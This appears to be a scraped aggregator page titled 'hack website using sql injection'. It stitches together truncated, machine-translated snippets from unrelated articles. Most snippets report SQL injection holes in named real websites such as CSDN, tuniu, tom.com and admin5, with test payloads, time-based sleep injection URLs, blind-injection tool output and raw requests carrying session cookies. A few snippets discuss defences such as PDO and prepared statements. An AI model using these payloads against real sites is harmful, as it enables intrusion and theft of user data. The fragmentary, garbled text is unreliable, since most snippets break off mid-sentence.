hack website using sql injection

fact, you can display and operate database data through LINQ without writing any SQL statements. During the runtime, LINQ to SQL converts queries embedded or integrated into your code into SQL statements and executes them on the database system. By returning the query results to the application in the form of objects, the interaction between you and the database

The example in this paper describes what to do if you encounter a like situation when stitching SQL statements.When a simple concatenation string is used with a SQL statement with like, the rate of SQL injection is required to open. This is really a problem to be aware of.Here combined with some of the information to d

Http://www.leadsec.com.cn/news/detail.aspxthe classidfilter is not fully split. SQL Injection exists on the page Http://www.leadsec.com.cn/News/Detail.aspx? RootID = 150 Aid = 1858 ClassID = 153and 1 = 1 --Http://www.leadsec.com.cn/News/Detail.aspx? RootID = 150 Aid = 1858 ClassID = 153and 1 = 2 --Database Version: Microsoft SQL Server 2000-8.00.760 (Intel X

queries to generate errors, depending on the conditions, the resulting error is different. Judging the target value, similar to the idea of injection based on error.Database right to be raisedThere are many times when you continue to infiltrate with some advanced features that are hampered by insufficient permissions, such as out-of-band communication, getting the shell, creating modify permissions, and so on. In particular, large Web sites will mak

A severe mysql injection vulnerability exists in the website construction system of zule activity platform. The construction system includes Mengniu sour milk and other influential websites. Among them, Mengniu sour milk database contains a large number of Sina and authorized tokens for logon by users.I thought Mengniu sour milk http://www.mnssr.com is a self-built site, background guess the background foun

Alimama travel website has SQL Injection (⊙ O ⊙ )... If a problem occurs at a point, check whether there are any problems with all similar points .... POST/lvyou/dest_index/AjaxGetTripList HTTP/1.1Content-Length: 66Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://www.lvmama.com/lvyou/Cookie: uid = wKgKcFZNZmCynk9 + CC

A website in CSDN has the SQL blind injection vulnerability. Http://edu.csdn.net/courses? Attr = 3 c_id = 0 level = 1 payload: blind Note 1 = 1 Parameter: level (GET) Type: boolean-based blind Title: AND boolean-based blind-WHERE or HAVING clause Payload: attr = 3 c_id = 0 level = 1 AND 2659 = 2659 Type: AND/OR time-based blind Title: MySQL> = 5.0.12 AND time

SQL Injection for an important website of Tom Online POST /redeem/tom_ecardExchange.php HTTP/1.1Content-Length: 191Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://tangyuan.tom.com/Cookie: PHPSESSID=0bfa903262d197b1a2039b9b8ef55db0; tom_test=rPcet0oDU!4!1!1459218920!1459219309!4!0!http://tangyuan.tom.com/redeem/game

The SQL injection vulnerability exists on a website of touniu tourism network. POST/ajax/membercard HTTP/1.1Content-Length: 149Content-Type: application/x-www-form-urlencodedX-Requested-With: Signature: http://passport.tuniu.comCookie: PASSPORTSESSID = signature; login_user_name = rslydfdvHost: passport. tuniu. comConnection: Keep-aliveAccept-Encoding: gzip, d

Author: Monkey QQ: 812009485 I just got home from the holiday. I am idle and have nothing to do, and it's heavy snow. I don't want to go out and soak mm .. Suddenly I saw an enterprise cms, So I downloaded the program. G.cn Keyword: 6CMS enterprise Site Management System (Chinese and English Traditional Chinese Version) Default Account Password: admin Background: admin/ I don't know how the programmer got it. I can see that the admin directory of the program has an anti-

During the test, the dongle intercepted the SQL query on the website where the dongle was used. However, the dongle was able to bypass the security and obtain the database information. For the protection device, if important information is obtained by the passer when it is enabled, I think it has been bypassed... the test procedure is as follows: bbs.siteserver.cn installed the url of the dongle request to

Member/getpassword. php and admin/getpassword. php files If ($ p) {$ array = explode ('. ', base64_decode ($ p); $ SQL = "SELECT * FROM $ met_admin_table WHERE admin_id = '". $ array [0]. "'"; $ sqlarray = $ db-> get_one ($ SQL ); The base64_decode ($ p) value is separated by explode and then submitted to the $ array. Finally, $ array [0] enters the SQL query,

A second-level website has an injection, which can report errors and cross-database operations.Dbo permissionProof of vulnerability:Error injection:Http://tclub.ufida.com.cn/buyservice.asp? Money67 = 0 checkbox = 69 Money69 = 100 checkbox = 75 Money75 = 0 money = 2012-12-20 flag = shopcar shopcarflag = gwc iRemainMoney = checkbox = 63 Money63 = 0 checkbox = 65 Money65 = 0 checkbox = 66 Money66

Http://3g.admin5.com /? Appid = 330051% 27% 20and % 20 sleep % 282% 29% 3d % 27 host = admin5.com src = http://bbs.admin5.com/forum.php? Mod = viewthread tid = 10112420 http://3g.admin5.com /? Appid = 330051% 27% 20and % 20 sleep % 281% 29% 3d % 27 host = admin5.com src = http://bbs.admin5.com/forum.php? Mod = viewthread tid = 10112420 http://3g.admin5.com /? Appid = 330051% 27% 20and % 20 sleep % 280% 29% 3d % 27 host = admin5.com src = http://bbs.admin5.com/forum.php? Mod = viewthread

Author: The Demon of Destruction article Source: Shadow Eagle Security Network Just beginning to learn SQL injection intrusion, there are written wrong and bad place I hope you shige, sister a lot of guidance. In a supply and demand information released by the website test a bit, the page Http://www.xxx.com/new/new.asp?id=49 I did the following tests: (1) Http:

Tags: HTTPS also requires replicate parse error not ble ... dbnWe all know that as long as the proper use of PDO, can basically prevent the generation of SQL injection, this article mainly answers the following questions: Why use PDO instead of mysql_connect? Why does PDO prevent injection? What should I pay special attention to when

construct other SQL statements for query. In the format of 1.txt, replace = (equal sign) with % 3D, replace (single quotes) with % 27, and replace spaces with % 20. If the preceding statement is correct, the browser returns "1" and "2. Figure 2 In fact, when I tested the official website of the Mini city community, I found that most of the SQL

Question: I have to take a good look at the relevant knowledge about WEB security. Therefore, I wrote this article, so I have no choice but to summarize it. After reading this article, I assume that the reader has been writing SQL statements or can understand SQL statements. As early as 02 years ago, many foreign technical articles on SQL

equivalent to the following SELECT statement: SELECT * from Users Yes, the purpose of this SQL statement is to retrieve all the fields in the Users table Tip: If you don't know the role of single quotes in ' or 1=1# ', you can echo the SQL statement yourself, at a glance. See, a constructed SQL statement has such a terrible destructive power, I believe you see t

Do I have to worry about SQL injection when using java PreparedStatement? First, I felt that I had not written a blog for a long time. First, I was too busy at work, and second, I was not very good at my health. Fortunately, I finally found out the cause of the problem. Now I am idle and can't wait to communicate with readers, the last piece of advice: The body i